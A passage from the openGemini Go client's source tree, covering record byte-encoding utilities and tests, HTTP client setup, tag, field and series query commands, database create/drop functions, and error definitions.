Val: []byte("test"), 169 | Len: 1, 170 | Bitmap: []byte{0xFF}, 171 | Offset: []uint32{0, 4}, 172 | } 173 | cv.deleteLast(FieldTypeString) 174 | assert.Equal(t, 0, cv.Len) 175 | assert.Equal(t, 0, len(cv.Val)) 176 | assert.Equal(t, 0, len(cv.Offset)) 177 | }) 178 | } 179 | 180 | func TestAppendWithNilCount(t *testing.T) { 181 | t.Run("append int values", func(t *testing.T) { 182 | src := &ColVal{ 183 | Val: []byte{1, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0}, 184 | Len: 2, 185 | Bitmap: []byte{0xFF}, // no nil values 186 | } 187 | dst := &ColVal{} 188 | nc := &NilCount{total: 0} 189 | 190 | dst.AppendWithNilCount(src, FieldTypeInt, 0, 2, nc) 191 | assert.Equal(t, 2, dst.Len) 192 | assert.Equal(t, 16, len(dst.Val)) 193 | assert.Equal(t, 0, dst.NilCount) 194 | }) 195 | 196 | t.Run("append with nil values", func(t *testing.T) { 197 | src := &ColVal{ 198 | Val: []byte{1, 0, 0, 0, 0, 0, 0, 0}, 199 | Len: 2, 200 | Bitmap: []byte{0x01}, // second value is nil 201 | NilCount: 1, 202 | } 203 | dst := &ColVal{} 204 | nc := &NilCount{ 205 | total: 1, 206 | value: []int{0, 1}, 207 | } 208 | 209 | dst.AppendWithNilCount(src, FieldTypeInt, 0, 2, nc) 210 | assert.Equal(t, 2, dst.Len) 211 | assert.Equal(t, 8, len(dst.Val)) 212 | assert.Equal(t, 1, dst.NilCount) 213 | }) 214 | 215 | t.Run("append string values", func(t *testing.T) { 216 | src := &ColVal{ 217 | Val: []byte("test"), 218 | Len: 1, 219 | Bitmap: []byte{0xFF}, 220 | Offset: []uint32{0, 4}, 221 | } 222 | dst := &ColVal{} 223 | nc := &NilCount{total: 0} 224 | 225 | dst.AppendWithNilCount(src, FieldTypeString, 0, 1, nc) 226 | assert.Equal(t, 1, dst.Len) 227 | assert.Equal(t, 4, len(dst.Val)) 228 | assert.Equal(t, 2, len(dst.Offset)) 229 | }) 230 | } 231 | -------------------------------------------------------------------------------- /lib/record/utils.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package record 16 | 17 | import ( 18 | "unsafe" 19 | ) 20 | 21 | const ( 22 | BooleanSizeBytes = int(unsafe.Sizeof(false)) 23 | Uint32SizeBytes = int(unsafe.Sizeof(uint32(0))) 24 | Int64SizeBytes = int(unsafe.Sizeof(int64(0))) 25 | Float64SizeBytes = int(unsafe.Sizeof(float64(0))) 26 | 27 | sizeOfInt = int(unsafe.Sizeof(int(0))) 28 | sizeOfUint16 = 2 29 | sizeOfUint32 = 4 30 | MaxSliceSize = sizeOfUint32 31 | ) 32 | 33 | var ( 34 | typeSize = make([]int, FieldTypeLast) 35 | zeroBuf = make([]byte, 1024) 36 | ) 37 | 38 | func init() { 39 | typeSize[FieldTypeInt] = Int64SizeBytes 40 | typeSize[FieldTypeFloat] = Float64SizeBytes 41 | typeSize[FieldTypeBoolean] = BooleanSizeBytes 42 | } 43 | 44 | type ExceptString interface { 45 | int64 | float64 | bool 46 | } 47 | 48 | func Bytes2str(b []byte) string { 49 | return *(*string)(unsafe.Pointer(&b)) 50 | } 51 | 52 | func AppendString(b []byte, s string) []byte { 53 | b = AppendUint16(b, uint16(len(s))) 54 | b = append(b, s...) 55 | return b 56 | } 57 | 58 | // AppendUint16 appends marshaled v to dst and returns the result. 59 | func AppendUint16(dst []byte, u uint16) []byte { 60 | return append(dst, byte(u>>8), byte(u)) 61 | } 62 | 63 | // AppendUint32 appends marshaled v to dst and returns the result. 64 | func AppendUint32(dst []byte, u uint32) []byte { 65 | return append(dst, byte(u>>24), byte(u>>16), byte(u>>8), byte(u)) 66 | } 67 | 68 | // AppendInt64 appends marshaled v to dst and returns the result. 69 | func AppendInt64(dst []byte, v int64) []byte { 70 | // Such encoding for negative v must improve compression. 71 | v = (v << 1) ^ (v >> 63) // zig-zag encoding without branching. 72 | u := uint64(v) 73 | return append(dst, byte(u>>56), byte(u>>48), byte(u>>40), byte(u>>32), byte(u>>24), byte(u>>16), byte(u>>8), byte(u)) 74 | } 75 | 76 | func AppendInt(b []byte, i int) []byte { 77 | return AppendInt64(b, int64(i)) 78 | } 79 | 80 | func AppendBytes(b []byte, buf []byte) []byte { 81 | b = AppendUint32(b, uint32(len(buf))) 82 | b = append(b, buf...) 83 | return b 84 | } 85 | 86 | func AppendUint32Slice(b []byte, a []uint32) []byte { 87 | b = AppendUint32(b, uint32(len(a))) 88 | if len(a) == 0 { 89 | return b 90 | } 91 | 92 | b = append(b, Uint32Slice2byte(a)...) 93 | return b 94 | } 95 | 96 | func SizeOfString(s string) int { 97 | return len(s) + sizeOfUint16 98 | } 99 | 100 | func SizeOfUint32() int { 101 | return sizeOfUint32 102 | } 103 | 104 | func SizeOfInt() int { 105 | return sizeOfInt 106 | } 107 | 108 | func SizeOfUint32Slice(s []uint32) int { 109 | return len(s)*SizeOfUint32() + MaxSliceSize 110 | } 111 | 112 | func SizeOfByteSlice(s []byte) int { 113 | return len(s) + SizeOfUint32() 114 | } 115 | 116 | func Uint32Slice2byte(u []uint32) []byte { 117 | if len(u) == 0 { 118 | return nil 119 | } 120 | // Get pointer to the first element of uint32 slice 121 | ptr := unsafe.Pointer(unsafe.SliceData(u)) 122 | // Create a new byte slice from the pointer 123 | return unsafe.Slice((*byte)(ptr), len(u)*Uint32SizeBytes) 124 | } 125 | -------------------------------------------------------------------------------- /lib/record/utils_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package record 16 | 17 | import ( 18 | "testing" 19 | 20 | "github.com/stretchr/testify/assert" 21 | ) 22 | 23 | func TestBytes2str(t *testing.T) { 24 | tests := []struct { 25 | name string 26 | input []byte 27 | expected string 28 | }{ 29 | { 30 | name: "empty bytes", 31 | input: []byte{}, 32 | expected: "", 33 | }, 34 | { 35 | name: "normal string", 36 | input: []byte("hello world"), 37 | expected: "hello world", 38 | }, 39 | { 40 | name: "string with special chars", 41 | input: []byte("hello\nworld\t!"), 42 | expected: "hello\nworld\t!", 43 | }, 44 | } 45 | 46 | for _, tt := range tests { 47 | t.Run(tt.name, func(t *testing.T) { 48 | result := Bytes2str(tt.input) 49 | assert.Equal(t, tt.expected, result) 50 | }) 51 | } 52 | } 53 | 54 | func TestAppendString(t *testing.T) { 55 | tests := []struct { 56 | name string 57 | initial []byte 58 | str string 59 | expected []byte 60 | }{ 61 | { 62 | name: "empty string to empty slice", 63 | initial: []byte{}, 64 | str: "", 65 | expected: []byte{0, 0}, // length 0 as uint16 + empty string 66 | }, 67 | { 68 | name: "append hello", 69 | initial: []byte{1, 2, 3}, 70 | str: "hello", 71 | expected: []byte{1, 2, 3, 0, 5, 'h', 'e', 'l', 'l', 'o'}, 72 | }, 73 | } 74 | 75 | for _, tt := range tests { 76 | t.Run(tt.name, func(t *testing.T) { 77 | result := AppendString(tt.initial, tt.str) 78 | assert.Equal(t, tt.expected, result) 79 | }) 80 | } 81 | } 82 | 83 | func TestUint32Slice2byte(t *testing.T) { 84 | tests := []struct { 85 | name string 86 | input []uint32 87 | expected int // expected length of resulting byte slice 88 | }{ 89 | { 90 | name: "empty slice", 91 | input: []uint32{}, 92 | expected: 0, 93 | }, 94 | { 95 | name: "single uint32", 96 | input: []uint32{123}, 97 | expected: 4, // 4 bytes per uint32 98 | }, 99 | { 100 | name: "multiple uint32s", 101 | input: []uint32{123, 456, 789}, 102 | expected: 12, // 3 * 4 bytes 103 | }, 104 | } 105 | 106 | for _, tt := range tests { 107 | t.Run(tt.name, func(t *testing.T) { 108 | result := Uint32Slice2byte(tt.input) 109 | if tt.expected == 0 { 110 | assert.Nil(t, result) 111 | } else { 112 | assert.Equal(t, tt.expected, len(result)) 113 | } 114 | }) 115 | } 116 | } 117 | 118 | func TestAppendUint32Slice(t *testing.T) { 119 | tests := []struct { 120 | name string 121 | initial []byte 122 | slice []uint32 123 | expected int // expected length increase 124 | }{ 125 | { 126 | name: "empty slice", 127 | initial: []byte{1, 2, 3}, 128 | slice: []uint32{}, 129 | expected: 4, // just the length field (uint32) 130 | }, 131 | { 132 | name: "non-empty slice", 133 | initial: []byte{1, 2, 3}, 134 | slice: []uint32{123, 456}, 135 | expected: 12, // 4 (length) + 8 (2 * 4 bytes) 136 | }, 137 | } 138 | 139 | for _, tt := range tests { 140 | t.Run(tt.name, func(t *testing.T) { 141 | initialLen := len(tt.initial) 142 | result := AppendUint32Slice(tt.initial, tt.slice) 143 | assert.Equal(t, initialLen+tt.expected, len(result)) 144 | }) 145 | } 146 | } 147 | 148 | func TestSizeCalculations(t *testing.T) { 149 | t.Run("SizeOfString", func(t *testing.T) { 150 | str := "hello" 151 | size := SizeOfString(str) 152 | assert.Equal(t, len(str)+sizeOfUint16, size) 153 | }) 154 | 155 | t.Run("SizeOfUint32", func(t *testing.T) { 156 | assert.Equal(t, 4, SizeOfUint32()) 157 | }) 158 | 159 | t.Run("SizeOfUint32Slice", func(t *testing.T) { 160 | slice := []uint32{1, 2, 3} 161 | size := SizeOfUint32Slice(slice) 162 | assert.Equal(t, len(slice)*4+MaxSliceSize, size) 163 | }) 164 | 165 | t.Run("SizeOfByteSlice", func(t *testing.T) { 166 | slice := []byte{1, 2, 3} 167 | size := SizeOfByteSlice(slice) 168 | assert.Equal(t, len(slice)+SizeOfUint32(), size) 169 | }) 170 | } 171 | 172 | func TestAppendIntegers(t *testing.T) { 173 | t.Run("AppendUint16", func(t *testing.T) { 174 | initial := []byte{1, 2, 3} 175 | result := AppendUint16(initial, 258) // 258 = 0x0102 176 | expected := []byte{1, 2, 3, 1, 2} 177 | assert.Equal(t, expected, result) 178 | }) 179 | 180 | t.Run("AppendUint32", func(t *testing.T) { 181 | initial := []byte{1, 2, 3} 182 | result := AppendUint32(initial, 16909060) // 16909060 = 0x01020304 183 | expected := []byte{1, 2, 3, 1, 2, 3, 4} 184 | assert.Equal(t, expected, result) 185 | }) 186 | 187 | t.Run("AppendInt64", func(t *testing.T) { 188 | initial := []byte{1, 2, 3} 189 | result := AppendInt64(initial, 123) 190 | assert.Equal(t, len(initial)+8, len(result)) 191 | }) 192 | 193 | t.Run("AppendInt", func(t *testing.T) { 194 | initial := []byte{1, 2, 3} 195 | result := AppendInt(initial, 123) 196 | assert.Equal(t, len(initial)+8, len(result)) 197 | }) 198 | } 199 | 200 | func TestAppendBytes(t *testing.T) { 201 | tests := []struct { 202 | name string 203 | initial []byte 204 | bytes []byte 205 | expected int // expected length increase 206 | }{ 207 | { 208 | name: "empty bytes", 209 | initial: []byte{1, 2, 3}, 210 | bytes: []byte{}, 211 | expected: 4, // just the length field 212 | }, 213 | { 214 | name: "non-empty bytes", 215 | initial: []byte{1, 2, 3}, 216 | bytes: []byte{4, 5, 6}, 217 | expected: 7, // 4 (length) + 3 (data) 218 | }, 219 | } 220 | 221 | for _, tt := range tests { 222 | t.Run(tt.name, func(t *testing.T) { 223 | initialLen := len(tt.initial) 224 | result := AppendBytes(tt.initial, tt.bytes) 225 | assert.Equal(t, initialLen+tt.expected, len(result)) 226 | }) 227 | } 228 | } 229 | -------------------------------------------------------------------------------- /opengemini/client_impl.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "context" 19 | "errors" 20 | "log/slog" 21 | "net" 22 | "net/http" 23 | "strconv" 24 | "sync/atomic" 25 | "time" 26 | 27 | "github.com/libgox/gocollections/syncx" 28 | ) 29 | 30 | type endpoint struct { 31 | url string 32 | isDown atomic.Bool 33 | } 34 | 35 | type client struct { 36 | config *Config 37 | endpoints []endpoint 38 | cli *http.Client 39 | prevIdx atomic.Int32 40 | dataChanMap syncx.Map[dbRp, chan *sendBatchWithCB] 41 | metrics *metrics 42 | rpcClient *writerClient 43 | 44 | batchContext context.Context 45 | batchContextCancel context.CancelFunc 46 | 47 | logger *slog.Logger 48 | } 49 | 50 | func newClient(c *Config) (Client, error) { 51 | if len(c.Addresses) == 0 { 52 | return nil, ErrNoAddress 53 | } 54 | if c.AuthConfig != nil { 55 | if c.AuthConfig.AuthType == AuthTypeToken && len(c.AuthConfig.Token) == 0 { 56 | return nil, ErrEmptyAuthToken 57 | } 58 | if c.AuthConfig.AuthType == AuthTypePassword { 59 | if len(c.AuthConfig.Username) == 0 { 60 | return nil, ErrEmptyAuthUsername 61 | } 62 | if len(c.AuthConfig.Password) == 0 { 63 | return nil, ErrEmptyAuthPassword 64 | } 65 | } 66 | } 67 | if c.BatchConfig != nil { 68 | if c.BatchConfig.BatchInterval <= 0 { 69 | return nil, errors.New("batch enabled, batch interval must be great than 0") 70 | } 71 | if c.BatchConfig.BatchSize <= 0 { 72 | return nil, errors.New("batch enabled, batch size must be great than 0") 73 | } 74 | } 75 | if c.Timeout <= 0 { 76 | c.Timeout = 30 * time.Second 77 | } 78 | if c.ConnectTimeout <= 0 { 79 | c.ConnectTimeout = 10 * time.Second 80 | } 81 | ctx, cancel := context.WithCancel(context.Background()) 82 | dbClient := &client{ 83 | config: c, 84 | endpoints: buildEndpoints(c.Addresses, c.TlsConfig != nil), 85 | cli: newHttpClient(*c), 86 | metrics: newMetricsProvider(c.CustomMetricsLabels), 87 | batchContext: ctx, 88 | batchContextCancel: cancel, 89 | } 90 | if c.Logger != nil { 91 | dbClient.logger = c.Logger 92 | } else { 93 | dbClient.logger = slog.Default() 94 | } 95 | if c.GrpcConfig != nil { 96 | rc, err := newWriterClient(c.GrpcConfig) 97 | if err != nil { 98 | return nil, errors.New("failed to create rpc client: " + err.Error()) 99 | } 100 | dbClient.rpcClient = rc 101 | } 102 | dbClient.prevIdx.Store(-1) 103 | if len(c.Addresses) > 1 { 104 | // if there are multiple addresses, start the health check 105 | go dbClient.endpointsCheck(ctx) 106 | } 107 | return dbClient, nil 108 | } 109 | 110 | func (c *client) Close() error { 111 | c.batchContextCancel() 112 | c.dataChanMap.Range(func(key dbRp, cb chan *sendBatchWithCB) bool { 113 | close(cb) 114 | c.dataChanMap.Delete(key) 115 | return true 116 | }) 117 | if c.rpcClient != nil { 118 | _ = c.rpcClient.Close() 119 | } 120 | c.cli.CloseIdleConnections() 121 | return nil 122 | } 123 | 124 | func buildEndpoints(addresses []Address, tlsEnabled bool) []endpoint { 125 | urls := make([]endpoint, len(addresses)) 126 | protocol := "http://" 127 | if tlsEnabled { 128 | protocol = "https://" 129 | } 130 | for i, addr := range addresses { 131 | urls[i] = endpoint{url: protocol + net.JoinHostPort(addr.Host, strconv.Itoa(addr.Port))} 132 | } 133 | return urls 134 | } 135 | 136 | func newHttpClient(config Config) *http.Client { 137 | return &http.Client{ 138 | Timeout: config.Timeout, 139 | Transport: &http.Transport{ 140 | DialContext: (&net.Dialer{ 141 | Timeout: config.ConnectTimeout, 142 | }).DialContext, 143 | MaxConnsPerHost: config.MaxConnsPerHost, 144 | MaxIdleConnsPerHost: config.MaxIdleConnsPerHost, 145 | TLSClientConfig: config.TlsConfig, 146 | }, 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /opengemini/command.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import "fmt" 18 | 19 | func (c *client) ShowTagKeys(builder ShowTagKeysBuilder) (map[string][]string, error) { 20 | command, err := builder.build() 21 | if err != nil { 22 | return nil, err 23 | } 24 | base := builder.getMeasurementBase() 25 | 26 | queryResult, err := c.queryPost(Query{ 27 | Database: base.database, 28 | RetentionPolicy: base.retentionPolicy, 29 | Command: command, 30 | }) 31 | 32 | if err != nil { 33 | return nil, err 34 | } 35 | 36 | err = queryResult.hasError() 37 | if err != nil { 38 | return nil, fmt.Errorf("show tag keys err: %s", err) 39 | } 40 | 41 | var data = make(map[string][]string) 42 | if len(queryResult.Results) == 0 { 43 | return data, nil 44 | } 45 | for _, series := range queryResult.Results[0].Series { 46 | var tags []string 47 | for _, values := range series.Values { 48 | for _, value := range values { 49 | strVal, ok := value.(string) 50 | if !ok { 51 | continue 52 | } 53 | tags = append(tags, strVal) 54 | } 55 | } 56 | data[series.Name] = tags 57 | } 58 | 59 | return data, nil 60 | } 61 | 62 | func (c *client) ShowTagValues(builder ShowTagValuesBuilder) ([]string, error) { 63 | command, err := builder.build() 64 | if err != nil { 65 | return nil, err 66 | } 67 | base := builder.getMeasurementBase() 68 | 69 | queryResult, err := c.queryPost(Query{ 70 | Database: base.database, 71 | RetentionPolicy: base.retentionPolicy, 72 | Command: command, 73 | }) 74 | 75 | if err != nil { 76 | return nil, err 77 | } 78 | 79 | err = queryResult.hasError() 80 | if err != nil { 81 | return nil, fmt.Errorf("show tag value err: %s", err) 82 | } 83 | 84 | var values []string 85 | if len(queryResult.Results) == 0 { 86 | return values, nil 87 | } 88 | 89 | querySeries := queryResult.Results[0].Series 90 | for _, series := range querySeries { 91 | for _, valRes := range series.Values { 92 | if len(valRes) != 2 { 93 | return []string{}, fmt.Errorf("invalid values: %s", valRes) 94 | } 95 | if strVal, ok := valRes[1].(string); ok { 96 | values = append(values, strVal) 97 | } 98 | } 99 | } 100 | 101 | return values, nil 102 | } 103 | 104 | func (c *client) ShowFieldKeys(database string, measurements ...string) (map[string]map[string]string, error) { 105 | var measurement string 106 | if len(measurements) != 0 { 107 | measurement = measurements[0] 108 | } 109 | err := checkDatabaseName(database) 110 | if err != nil { 111 | return nil, err 112 | } 113 | 114 | var command = "SHOW FIELD KEYS" 115 | if measurement != "" { 116 | command += " FROM " + measurement 117 | } 118 | 119 | queryResult, err := c.Query(Query{Database: database, Command: command}) 120 | if err != nil { 121 | return nil, err 122 | } 123 | 124 | if queryResult.hasError() != nil { 125 | return nil, queryResult.hasError() 126 | } 127 | 128 | if len(queryResult.Results) == 0 { 129 | return nil, nil 130 | } 131 | 132 | querySeries := queryResult.Results[0].Series 133 | var value = make(map[string]map[string]string, len(querySeries)) 134 | 135 | for _, series := range querySeries { 136 | var kv = make(map[string]string, len(series.Values)) 137 | for _, valRes := range series.Values { 138 | if len(valRes) != 2 { 139 | return nil, fmt.Errorf("invalid values: %s", valRes) 140 | } 141 | var k, v string 142 | if strVal, ok := valRes[0].(string); ok { 143 | k = strVal 144 | } 145 | if strVal, ok := valRes[1].(string); ok { 146 | v = strVal 147 | } 148 | kv[k] = v 149 | } 150 | value[series.Name] = kv 151 | } 152 | return value, nil 153 | } 154 | 155 | func (c *client) ShowSeries(builder ShowSeriesBuilder) ([]string, error) { 156 | command, err := builder.build() 157 | if err != nil { 158 | return nil, err 159 | } 160 | 161 | base := builder.getMeasurementBase() 162 | 163 | seriesResult, err := c.Query(Query{Database: base.database, RetentionPolicy: base.retentionPolicy, Command: command}) 164 | if err != nil { 165 | return nil, err 166 | } 167 | 168 | err = seriesResult.hasError() 169 | if err != nil { 170 | return nil, fmt.Errorf("get series failed: %s", err) 171 | } 172 | 173 | var seriesValues = make([]string, 0, len(seriesResult.Results)) 174 | if len(seriesResult.Results) == 0 { 175 | return seriesValues, nil 176 | } 177 | for _, series := range seriesResult.Results[0].Series { 178 | for _, values := range series.Values { 179 | for _, value := range values { 180 | strVal, ok := value.(string) 181 | if !ok { 182 | continue 183 | } 184 | seriesValues = append(seriesValues, strVal) 185 | } 186 | } 187 | } 188 | return seriesValues, nil 189 | } 190 | -------------------------------------------------------------------------------- /opengemini/database.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "fmt" 19 | "strings" 20 | ) 21 | 22 | func (c *client) CreateDatabase(database string) error { 23 | err := checkDatabaseName(database) 24 | if err != nil { 25 | return err 26 | } 27 | 28 | cmd := fmt.Sprintf("CREATE DATABASE \"%s\"", database) 29 | queryResult, err := c.queryPost(Query{Command: cmd}) 30 | if err != nil { 31 | return err 32 | } 33 | 34 | err = queryResult.hasError() 35 | if err != nil { 36 | return fmt.Errorf("create database %w", err) 37 | } 38 | 39 | return nil 40 | } 41 | 42 | func (c *client) CreateDatabaseWithRp(database string, rpConfig RpConfig) error { 43 | err := checkDatabaseName(database) 44 | if err != nil { 45 | return err 46 | } 47 | 48 | var buf strings.Builder 49 | buf.WriteString(fmt.Sprintf("CREATE DATABASE \"%s\" WITH DURATION %s REPLICATION 1", database, rpConfig.Duration)) 50 | if len(rpConfig.ShardGroupDuration) > 0 { 51 | buf.WriteString(fmt.Sprintf(" SHARD DURATION %s", rpConfig.ShardGroupDuration)) 52 | } 53 | if len(rpConfig.IndexDuration) > 0 { 54 | buf.WriteString(fmt.Sprintf(" INDEX DURATION %s", rpConfig.IndexDuration)) 55 | } 56 | buf.WriteString(fmt.Sprintf(" NAME %s", rpConfig.Name)) 57 | queryResult, err := c.queryPost(Query{Command: buf.String()}) 58 | if err != nil { 59 | return err 60 | } 61 | 62 | err = queryResult.hasError() 63 | if err != nil { 64 | return fmt.Errorf("create database with rentention policy err: %w", err) 65 | } 66 | 67 | return nil 68 | } 69 | 70 | func (c *client) ShowDatabases() ([]string, error) { 71 | var ShowDatabases = "SHOW DATABASES" 72 | queryResult, err := c.Query(Query{Command: ShowDatabases}) 73 | if err != nil { 74 | return nil, err 75 | } 76 | if len(queryResult.Error) > 0 { 77 | return nil, fmt.Errorf("show datababse err: %s", queryResult.Error) 78 | } 79 | if len(queryResult.Results) == 0 || len(queryResult.Results[0].Series) == 0 { 80 | return []string{}, nil 81 | } 82 | var ( 83 | values = queryResult.Results[0].Series[0].Values 84 | dbResult = make([]string, 0, len(values)) 85 | ) 86 | 87 | for _, v := range values { 88 | if len(v) == 0 { 89 | continue 90 | } 91 | val, ok := v[0].(string) 92 | if !ok { 93 | continue 94 | } 95 | dbResult = append(dbResult, val) 96 | } 97 | return dbResult, nil 98 | } 99 | 100 | func (c *client) DropDatabase(database string) error { 101 | err := checkDatabaseName(database) 102 | if err != nil { 103 | return err 104 | } 105 | 106 | cmd := fmt.Sprintf("DROP DATABASE \"%s\"", database) 107 | queryResult, err := c.queryPost(Query{Command: cmd}) 108 | if err != nil { 109 | return err 110 | } 111 | err = queryResult.hasError() 112 | if err != nil { 113 | return fmt.Errorf("drop database %w", err) 114 | } 115 | return nil 116 | } 117 | -------------------------------------------------------------------------------- /opengemini/database_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "testing" 19 | 20 | "github.com/stretchr/testify/require" 21 | ) 22 | 23 | func TestClientCreateDatabaseSuccess(t *testing.T) { 24 | c := testDefaultClient(t) 25 | databaseName := randomDatabaseName() 26 | err := c.CreateDatabase(databaseName) 27 | require.Nil(t, err) 28 | err = c.DropDatabase(databaseName) 29 | require.Nil(t, err) 30 | } 31 | 32 | func TestClientCreateDatabaseEmptyDatabase(t *testing.T) { 33 | c := testDefaultClient(t) 34 | err := c.CreateDatabase("") 35 | require.NotNil(t, err) 36 | } 37 | 38 | func TestClientCreateDatabaseWithRpSuccess(t *testing.T) { 39 | c := testDefaultClient(t) 40 | databaseName := randomDatabaseName() 41 | err := c.CreateDatabaseWithRp(databaseName, RpConfig{Name: "test4", Duration: "1d", ShardGroupDuration: "1h", IndexDuration: "7h"}) 42 | require.Nil(t, err) 43 | err = c.DropDatabase(databaseName) 44 | require.Nil(t, err) 45 | } 46 | 47 | func TestClientCreateDatabaseWithRpZeroSuccess(t *testing.T) { 48 | c := testDefaultClient(t) 49 | databaseName := randomDatabaseName() 50 | err := c.CreateDatabaseWithRp(databaseName, RpConfig{Name: "test4", Duration: "0", ShardGroupDuration: "1h", IndexDuration: "7h"}) 51 | require.NotNil(t, err) 52 | } 53 | 54 | func TestClientCreateDatabaseWithRpInvalid(t *testing.T) { 55 | c := testDefaultClient(t) 56 | databaseName := randomDatabaseName() 57 | err := c.CreateDatabaseWithRp(databaseName, RpConfig{Name: "test4", Duration: "1", ShardGroupDuration: "1h", IndexDuration: "7h"}) 58 | require.NotNil(t, err) 59 | } 60 | 61 | func TestClientCreateDatabaseWithRpEmptyDatabase(t *testing.T) { 62 | c := testDefaultClient(t) 63 | err := c.CreateDatabaseWithRp("", RpConfig{Name: "test4", Duration: "1h", ShardGroupDuration: "1h", IndexDuration: "7h"}) 64 | require.NotNil(t, err) 65 | } 66 | 67 | func TestClientShowDatabases(t *testing.T) { 68 | c := testDefaultClient(t) 69 | _, err := c.ShowDatabases() 70 | require.Nil(t, err) 71 | } 72 | 73 | func TestClientDropDatabase(t *testing.T) { 74 | c := testDefaultClient(t) 75 | databaseName := randomDatabaseName() 76 | err := c.DropDatabase(databaseName) 77 | require.Nil(t, err) 78 | } 79 | 80 | func TestClientDropDatabaseEmptyDatabase(t *testing.T) { 81 | c := testDefaultClient(t) 82 | err := c.DropDatabase("") 83 | require.NotNil(t, err) 84 | } 85 | 86 | func TestCreateAndDropDatabaseWithSpecificSymbol(t *testing.T) { 87 | c := testDefaultClient(t) 88 | err := c.CreateDatabase("Specific-Symbol") 89 | require.Nil(t, err) 90 | err = c.DropDatabase("Specific-Symbol") 91 | require.Nil(t, err) 92 | } 93 | -------------------------------------------------------------------------------- /opengemini/error.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import "errors" 18 | 19 | var ( 20 | ErrEmptyAuthToken = errors.New("empty auth token") 21 | ErrEmptyAuthUsername = errors.New("empty auth username") 22 | ErrEmptyAuthPassword = errors.New("empty auth password") 23 | ErrEmptyDatabaseName = errors.New("empty database name") 24 | ErrEmptyMeasurement = errors.New("empty measurement") 25 | ErrEmptyCommand = errors.New("empty command") 26 | ErrEmptyTagOrField = errors.New("empty tag or field") 27 | ErrEmptyTagKey = errors.New("empty tag key") 28 | ErrNoAddress = errors.New("must have at least one address") 29 | ErrRetentionPolicy = errors.New("empty retention policy") 30 | ErrUnsupportedFieldValueType = errors.New("unsupported field value type") 31 | ErrEmptyRecord = errors.New("empty record") 32 | ) 33 | 34 | // checkDatabaseName checks if the database name is empty and returns an error if it is. 35 | func checkDatabaseName(database string) error { 36 | if len(database) == 0 { 37 | return ErrEmptyDatabaseName 38 | } 39 | return nil 40 | } 41 | 42 | // checkMeasurementName checks if the measurement name is empty and returns an error if it is. 43 | func checkMeasurementName(mst string) error { 44 | if len(mst) == 0 { 45 | return ErrEmptyMeasurement 46 | } 47 | return nil 48 | } 49 | 50 | func checkDatabaseAndPolicy(database, retentionPolicy string) error { 51 | if len(database) == 0 